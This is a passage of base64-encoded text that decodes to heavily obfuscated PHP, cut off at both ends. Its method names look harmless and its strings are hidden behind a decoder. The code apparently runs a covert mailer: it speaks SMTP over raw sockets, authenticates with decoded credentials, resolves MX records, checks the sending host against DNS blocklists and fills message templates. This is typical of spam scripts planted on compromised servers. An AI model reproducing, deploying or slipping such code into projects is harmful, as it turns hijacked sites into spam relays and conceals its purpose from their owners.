JldHVybiBmYWxzZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gbG9nVHJhbnNhY3Rpb24oJF9zb3QsICRfdGQsICRfY3AsICRfY2t6LCAkX3p2aSwgJF95ZWssICRfamkpCiAgICB7CiAgICAgICAgJF9yYWkgPSAkdGhpcy0+ZmV0Y2hSZWNvcmRzKCRfenZpKTsKICAgICAgICBAZnB1dHMoJF9zb3QsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa3VpJywgJ19xc2knKSAuICRfcmFpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lYmUnLCAnX2J0dCcpKTsKICAgICAgICAkX2R4aSA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wcXMnLCAnX3Z3ZScpLCAkX2R4aSkpIHsKICAgICAgICAgICAgQGZwdXRzKCRfc290LCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25uYycsICdfdmdiJykgLiAkX3JhaSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcXQnLCAnX2ZjZScpKTsKICAgICAgICAgICAgJF9ncncgPSAkdGhpcy0+cHJvY2Vzc0RhdGEoJF9zb3QpOwogICAgICAgICAgICBpZiAoIW9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3R2ZScsICdfdWRiJyksICRfZ3J3KSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChzdHJpcG9zKCRfZHhpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29nbScsICdfaG5hJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICBAZnB1dHMoJF9zb3QsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfangnLCAnX3dwdicpKTsKICAgICAgICAgICAgJF90aiA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgICAgIGlmICghb2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbmhmJywgJ19pZScpLCAkX3RqKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghQHN0cmVhbV9zb2NrZXRfZW5hYmxlX2NyeXB0bygkX3NvdCwgdHJ1ZSwgMDExKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ocm0nLCAnX3VuYScpIC4gJF9yYWkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21wJywgJ19lYWEnKSk7CiAgICAgICAgICAgICRfZHhpID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfc290KTsKICAgICAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qZXUnLCAnX2tydScpLCAkX2R4aSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF9zb3QsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfendqJywgJ195aW0nKSk7CiAgICAgICAgJF9lbiA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wb3InLCAnX3JlYicpLCAkX2VuKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3NvdCwgZGVjb2RlX2lucHV0KCRfeWVrKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3knLCAnX3RvbycpKTsKICAgICAgICAkX2NtID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfc290KTsKICAgICAgICBpZiAoIW9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3l5JywgJ19zb3InKSwgJF9jbSkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF9zb3QsIGRlY29kZV9pbnB1dCgkX2ppKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfamR3JywgJ19ocHAnKSk7CiAgICAgICAgJF9yY2kgPSAkdGhpcy0+cHJvY2Vzc0RhdGEoJF9zb3QpOwogICAgICAgIGlmICghb2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfd3hpJywgJ19zbm4nKSwgJF9yY2kpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgQGZwdXRzKCRfc290LCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JpZCcsICdfcHRtJykgLiAkX3RkIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19nZnUnLCAnX25yJykpOwogICAgICAgICRfenEgPSAkdGhpcy0+cHJvY2Vzc0RhdGEoJF9zb3QpOwogICAgICAgIGlmICghb2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa3RnJywgJ195bScpLCAkX3pxKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pcWEnLCAnX2lrYScpIC4gJF9jcCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmcnLCAnX25nbycpKTsKICAgICAgICAkX3VwdyA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ydHAnLCAnX3l6ZycpLCAkX3VwdykpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF9zb3QsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaHp5JywgJ19xeHYnKSk7CiAgICAgICAgJF9idSA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190Y3onLCAnX3l0bCcpLCAkX2J1KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfZ2IgPSBAZXhwbG9kZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xpcCcsICdfanVhJyksICRfY2t6KTsKICAgICAgICBmb3JlYWNoICgkX2diIGFzICRfbXkpIHsKICAgICAgICAgICAgQGZwdXRzKCRfc290LCBjaGVja19hY2Nlc3MoJF9teSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19yZScsICdfaXFuJykpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kbXAnLCAnX2FjZCcpKTsKICAgICAgICB9CiAgICAgICAgJF9qamogPSAkdGhpcy0+cHJvY2Vzc0RhdGEoJF9zb3QpOwogICAgICAgIGlmIChtb25pdG9yX2hlYWx0aCgkX2pqaiwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19iZ2cnLCAnX3hjaCcpKSA9PT0gMDApIHsKICAgICAgICAgICAgQGZwdXRzKCRfc290LCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2tpZScsICdfbmVuJykpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBwcm9jZXNzRGF0YSgkX3NvdCkKICAgIHsKICAgICAgICAkX2pnID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hem4nLCAnX251cycpOwogICAgICAgIHdoaWxlICghQGZlb2YoJF9zb3QpKSB7CiAgICAgICAgICAgICRfZHdzID0gQGZnZXRzKCRfc290LCAwMTAwMyk7CiAgICAgICAgICAgIGlmICgkX2R3cyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfamcgLj0gJF9kd3M7CiAgICAgICAgICAgIGlmIChAc3Vic3RyKCRfZHdzLCAwMywgMDEpID09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcXV1JywgJ19oY3InKSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfamc7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhdmVDaGFuZ2VzKCkKICAgIHsKICAgICAgICAkX2dxcSA9IGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYWhsJywgJ19na2wnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zbHonLCAnX3RuZicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2traScsICdfZ2snKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vb2cnLCAnX2JoZScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NxcCcsICdfcnVhJykpOwogICAgICAgICRfa3QgPSBAZ2V0aG9zdGJ5bmFtZSgkdGhpcy0+X2tnKTsKICAgICAgICBpZiAoISRfa3QpIHsKICAgICAgICAgICAgcmV0dXJuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3FuJywgJ19rYicpOwogICAgICAgIH0KICAgICAgICAkX3V6ID0gaGFuZGxlX2Vycm9yKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXhuJywgJ194ZScpLCBmZXRjaF9tZXRhZGF0YShzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3F1JywgJ191ZXMnKSwgJF9rdCkpKTsKICAgICAgICAkX29nID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pYnYnLCAnX216eicpOwogICAgICAgIGZvcmVhY2ggKCRfZ3FxIGFzICRfcG0pIHsKICAgICAgICAgICAgaWYgKEBjaGVja2Ruc3JyKCRfdXogLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2Z5ZicsICdfZGNvJykgLiAkX3BtIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192aScsICdfd3diJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmhlJywgJ19idicpKSkgewogICAgICAgICAgICAgICAgJF9vZyAuPSAkX3BtIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xYXUnLCAnX3l4YScpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBjaGVja19hY2Nlc3MoJF9vZywgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sZScsICdfbGJuJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZW5lcmF0ZVRva2VuKCkKICAgIHsKICAgICAgICAkX2p1ID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wZnUnLCAnX3lkbicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2R1JywgJ19oY2UnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195ZGcnLCAnX2xtJykpOwogICAgICAgICRfY2VyID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190YW8nLCAnX2t2eCcpOwogICAgICAgIGZvcmVhY2ggKCRfanUgYXMgJF9obCkgewogICAgICAgICAgICBpZiAoJF9jZXIgPT0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19reG0nLCAnX2ZwcCcpIHx8ICRfY2VyID09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdml6JywgJ19qbmEnKSB8fCBtb25pdG9yX2hlYWx0aCgkX2NlciwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196ZicsICdfb2pvJykpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJF9jZXIgPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ByaScsICdfaXZlJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2NlcikpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9TRVJWRVJbJF9obF0pKSB7CiAgICAgICAgICAgICAgICAkX3NubCA9IEBwcmVnX3JlcGxhY2UoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hZ3AnLCAnX3B4JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdmp3JywgJ19qeHYnKSwgJF9TRVJWRVJbJF9obF0pOwogICAgICAgICAgICAgICAgJF9jZXIgPSBydW5fcHJvY2VkdXJlKCRfc25sKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoISRfY2VyKSB7CiAgICAgICAgICAgICRfY2VyID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xdnQnLCAnX3VjYycpOwogICAgICAgIH0KICAgICAgICAkX2NlciA9IEBwcmVnX3JlcGxhY2UoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195cScsICdfanVwJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaGZ2JywgJ194d24nKSwgJF9jZXIpOwogICAgICAgICRfanFnID0gJF9jZXI7CiAgICAgICAgJF9ucCA9ICRfY2VyOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPmhhbmRsZVJlcXVlc3QoJF9qcWcsIGZhbHNlKSkgfHwgQHByZWdfbWF0Y2goRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192c20nLCAnX2dxeScpLCAkX2NlcikpIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRfbnAsICRfanFnKTsKICAgICAgICB9CiAgICAgICAgaWYgKG1vbml0b3JfaGVhbHRoKCRfY2VyLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FvJywgJ19hbG4nKSkgIT09IGZhbHNlICYmIEBwcmVnX21hdGNoKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdnhjJywgJ19hbicpLCAkX2NlcikpIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRfbnAsICRfanFnKTsKICAgICAgICB9CiAgICAgICAgJF9vZW0gPSBzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa2NtJywgJ19kamMnKSwgJF9qcWcpOwogICAgICAgIGlmIChhZ2dyZWdhdGVfcmVzdWx0cygkX29lbSkgPiAwMikgewogICAgICAgICAgICAkX3R2ZSA9IGFnZ3JlZ2F0ZV9yZXN1bHRzKCRfb2VtKTsKICAgICAgICAgICAgZm9yICgkX2ZzID0gMDE7ICRfZnMgPCAkX3R2ZTsgJF9mcysrKSB7CiAgICAgICAgICAgICAgICAkX2p2ID0gaGFuZGxlX2Vycm9yKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbG5zJywgJ19lY3EnKSwgYW5hbHl6ZV9kYXRhKCRfb2VtLCAkX2ZzKSk7CiAgICAgICAgICAgICAgICBpZiAobW9uaXRvcl9oZWFsdGgoJF9qdiwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pbCcsICdfZXYnKSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3dtID0gQGdldGhvc3RieW5hbWUoJF9qdik7CiAgICAgICAgICAgICAgICBpZiAoJF93bSkgewogICAgICAgICAgICAgICAgICAgICRfbnAgPSAkX2p2OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBhcnJheSgkX25wLCAkX2pxZyk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZVJlcXVlc3QoJF96dmksICRfc2lhID0gdHJ1ZSkKICAgIHsKICAgICAgICAkX3JuID0gYXJyYXkoKTsKICAgICAgICAkX2d1ID0gYXJyYXkoKTsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfd3InLCAnX3R5bycpKSkgewogICAgICAgICAgICBpZiAoQGdldG14cnIoJF96dmksICRfcm4sICRfZ3UpKSB7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfcm4pKSB7CiAgICAgICAgICAgICAgICAgICAgQGFycmF5X211bHRpc29ydCgkX2d1LCAkX3JuKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF9ybjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfampqJywgJ191YmgnKSkpIHsKICAgICAgICAgICAgJF9sZCA9IEBkbnNfZ2V0X3JlY29yZCgkX3p2aSwgMDQwMDAwKTsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2xkKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9sZCBhcyAkX3VmcCkgewogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF91ZnBbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19oZWUnLCAnX3NyYScpXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9ybltdID0gJF91ZnBbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rb3YnLCAnX2htYScpXTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9ndVtdID0gaXNzZXQoJF91ZnBbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19yaGcnLCAnX2xidicpXSkgPyAkX3VmcFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VmJywgJ19mc3YnKV0gOiAwMTI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3JuKSkgewogICAgICAgICAgICAgICAgICAgIEBhcnJheV9tdWx0aXNvcnQoJF9ndSwgJF9ybik7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfcm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkX3NpYSkgewogICAgICAgICAgICAgICAgJF9waSA9IEBkbnNfZ2V0X3JlY29yZCgkX3p2aSwgMDEpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3BpKSAmJiAhZW1wdHkoJF9waVswMF1bRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190ZmUnLCAnX3hoJyldKSkgewogICAgICAgICAgICAgICAgICAgICRfcm5bXSA9ICRfcGlbMDBdW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGInLCAnX2lhaCcpXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9ybjsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gZmV0Y2hSZWNvcmRzKCRfY2VyKQogICAgewogICAgICAgIGlmIChAcHJlZ19tYXRjaChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2t4bycsICdfcG4nKSwgJF9jZXIpKSB7CiAgICAgICAgICAgIHJldHVybiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2d3eCcsICdfd3VrJykgLiAkX2NlciAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHduJywgJ195c2wnKTsKICAgICAgICB9CiAgICAgICAgaWYgKG1vbml0b3JfaGVhbHRoKCRfY2VyLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NxZycsICdfbmN5JykpICE9PSBmYWxzZSAmJiBAcHJlZ19tYXRjaChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25qZycsICdfcmV5JyksICRfY2VyKSkgewogICAgICAgICAgICByZXR1cm4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192cnEnLCAnX2FqaScpIC4gJF9jZXIgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2lnZScsICdfbGl1Jyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2NlcjsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gZXhlY3V0ZUFjdGlvbigkX2JoaywgJF92cCwgJF9waCA9IG51bGwpCiAgICB7CiAgICAgICAgJF9hcSA9IEBzdHJwb3MoJF9iaGssICRfdnApOwogICAgICAgIGlmICgkX2FxID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wd2cnLCAnX3JrJyk7CiAgICAgICAgfQogICAgICAgICRfeG5kID0gJF9hcSArIGRpc3BhdGNoX3NpZ25hbCgkX3ZwKTsKICAgICAgICBpZiAoJF9waCA9PT0gbnVsbCkgewogICAgICAgICAgICByZXR1cm4gQHN1YnN0cigkX2JoaywgJF94bmQpOwogICAgICAgIH0KICAgICAgICAkX3JqID0gQHN0cnBvcygkX2JoaywgJF9waCwgJF94bmQpOwogICAgICAgIGlmICgkX3JqID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sbXknLCAnX25rcCcpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gQHN1YnN0cigkX2JoaywgJF94bmQsICRfcmogLSAkX3huZCk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGNvbXB1dGVSZXN1bHQoJF9ja3opCiAgICB7CiAgICAgICAgJF9yZmggPSBAZXhwbG9kZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21udicsICdfY2dxJyksICRfY2t6KTsKICAgICAgICByZXR1cm4gQHRyaW0oJF9yZmhbY29sbGVjdF9zdGF0aXN0aWNzKCRfcmZoKV0pOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBwcmVwYXJlT3V0cHV0KCRfeXZtLCAkX2NreikKICAgIHsKICAgICAgICBAcHJlZ19tYXRjaF9hbGwoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196am4nLCAnX3ByYScpLCAkX3l2bSwgJF9udmIpOwogICAgICAgIEBwcmVnX21hdGNoX2FsbChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX290aScsICdfeHonKSwgJF95dm0sICRfenZqKTsKICAgICAgICBpZiAoIWVtcHR5KCRfbnZiWzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9udmJbMDFdIGFzICRfZnMgPT4gJF9rcSkgewogICAgICAgICAgICAgICAgJF9weSA9IEBleHBsb2RlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdG0nLCAnX2dubicpLCAkX2txKTsKICAgICAgICAgICAgICAgICRfa3ZoID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jeWsnLCAnX2h4aCcpIC4gJHRoaXMtPl9qcWcgLiBAJF9TRVJWRVJbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19mdGgnLCAnX3Z6JyldOwogICAgICAgICAgICAgICAgJF91ZSA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbHVsJywgJ19neicpOwogICAgICAgICAgICAgICAgJF91ZSAuPSBydW5fcHJvY2VkdXJlKCRfcHlbMDBdKTsKICAgICAgICAgICAgICAgIGZvciAoJF95b3MgPSAwMTsgJF95b3MgPCBhZ2dyZWdhdGVfcmVzdWx0cygkX3B5KTsgJF95b3MrKykgewogICAgICAgICAgICAgICAgICAgIGlmIChtb25pdG9yX2hlYWx0aCgkX3B5WyRfeW9zXSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ocScsICdfc252JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3VlIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZG50JywgJ19vZmQnKSAuIHRyaW0oJF9ja3pbMDBdKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAobW9uaXRvcl9oZWFsdGgoJF9weVskX3lvc10sIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZ3RhJywgJ19zdXAnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfYW10ID0gQGV4cGxvZGUoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jeScsICdfbHcnKSwgJF9weVskX3lvc10pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9hbXRbMDFdKSAmJiBpc3NldCgkX2NrelskX2FtdFswMV1dKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF91ZSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25oaycsICdfb2p6JykgLiAkX2FtdFswMV0gLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX210aicsICdfZGlrJykgLiB0cmltKCRfY2t6WyRfYW10WzAxXV0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKG1vbml0b3JfaGVhbHRoKCRfcHlbJF95b3NdLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2d4YycsICdfZXQnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfa3ZoID0gQGV4cGxvZGUoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19tcm4nLCAnX2t3ZicpLCAkX3B5WyRfeW9zXSwgMDIpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9rdmhbMDFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9rdmggPSAkX2t2aFswMV07CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkX3VlIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeHInLCAnX3RoJykgLiAkX3B5WyRfeW9zXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3l2bSA9ICR0aGlzLT5fYmsoJF9udmJbMDBdWyRfZnNdLCAkX2t2aCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb2EnLCAnX3VxYicpIC4gYmFzZTY0X